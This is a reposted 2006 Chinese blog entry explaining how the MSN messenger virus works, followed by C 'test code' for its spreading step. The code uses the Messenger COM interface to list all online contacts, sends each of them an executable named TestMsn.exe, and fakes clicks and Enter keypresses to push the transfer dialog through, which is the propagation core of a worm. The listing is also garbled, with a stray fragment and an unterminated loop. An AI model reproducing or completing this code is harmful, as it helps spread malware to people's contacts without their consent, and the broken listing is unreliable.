Just Do It

春天,到了

转载 MSN病毒原理及测试代码收藏

前段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN,其实这个很简单,微软有公开的接口让你用,所以我就不多说了,直接进入正题。

  下面是测试代码,只有通过MSN传送文件部分

CODE:
 #include "stdafx.h"
 #include <stdio.h>
 #include <windows.h>
 #include "msgruaid.h" //这两个头文件就是接口的定义
 #include "msgrua.h" //有兴趣的同学可以在网上找找(没找着可以找我要)
 #include <comutil.h>

 int main(int argc, char* argv[])
 {
  IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName;
  IMessengerContact *MsnContact;
  IMessengerContacts *MsnContacts;
  IMessengerWindow *pIMsnWindow;
  __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;
  VARIANT vaTemp;
  BSTR bstrFileName;
  char *szOpenDlg;
  char szMsnWindowsClass[] = "IMWindowClass";
  char szButtonText[] = "打开(&O)";
  HWND hWnd = NULL, hBtn = NULL;
  DWORD dwControlId = 0;
  char szCurDir[MAX_PATH], szBuf[MAX_PATH];

  CoInitialize(0); //初始化COM库
  CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例
  pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表
  pIMessenger->get_Window((IDispatch**)&pIMsnWindow);
  long nCount;
  MsnContacts->get_Count(&nCount); //得到好友数
  for (int i = 0; i < nCount; i++)
  {
   MsnContacts->Item(i, (IDispatch**)&MsnContact);
   MsnContact->get_SigninName(&pbstrName); //账号
   MsnContact->get_FriendlyName(&bstrFriendName); //签名
   szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);
   MsnContact->get_Status(&dwStatus);
   if (dwStatus == MISTATUS_ONLINE) //判断是否在线
   {
    GetCurrentDirectory(MAX_PATH, szCurDir);
    lstrcat(szCurDir, "\\");
    lstrcat(szCurDir, "TestMsn.exe");
    lstrcpy(szBuf, "发送文件给 ");
    lstrcat(szBuf, szOpenDlg);
    bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);
    vaTemp.vt = VT_BSTR;
    vaTemp.bstrVal = pbstrName;
    pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件
    do
    {
     hWnd = FindWindow(NULL,szBuf);
     hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);
     & hBtn));
     dwControlId <<= 16;
     dwControlId |= 1;
     PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));
     keybd_event(VK_RETURN, 0, 0, 0);
     keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);

    }
    MsnContact->Release();
    MsnContacts->Release();
    pIMessenger->Release(); //释放相关资源
    CoUninitialize();
    ExitProcess(0);
    return 0;
 }

 

发表于 @ 2006年09月25日 12:19:00|评论(loading...)

新一篇: [转]一个应届生求职的经历  | 旧一篇: 裸设备的文章

用户操作
[即时聊天] [发私信] [加为好友]
小虫
订阅我的博客
XML聚合  FeedSky
订阅到鲜果
订阅到Google
订阅到抓虾
小虫 的公告
Some birds don’t mean to be caged.Their feathers are just too bright.

文章分类
收藏
CSDN
askio的新家
IT 评论
kaoiki大虾(RSS)
漫步
畅享天地(RSS)
道明轩的blog(RSS)
饼子堂圈子(RSS)
黎吉川(RSS)
朋友
博友联盟-Boyou League
我为书皇
抽筋之家
存档
软件项目交易
Csdn Blog version 3.1a
Copyright © 小虫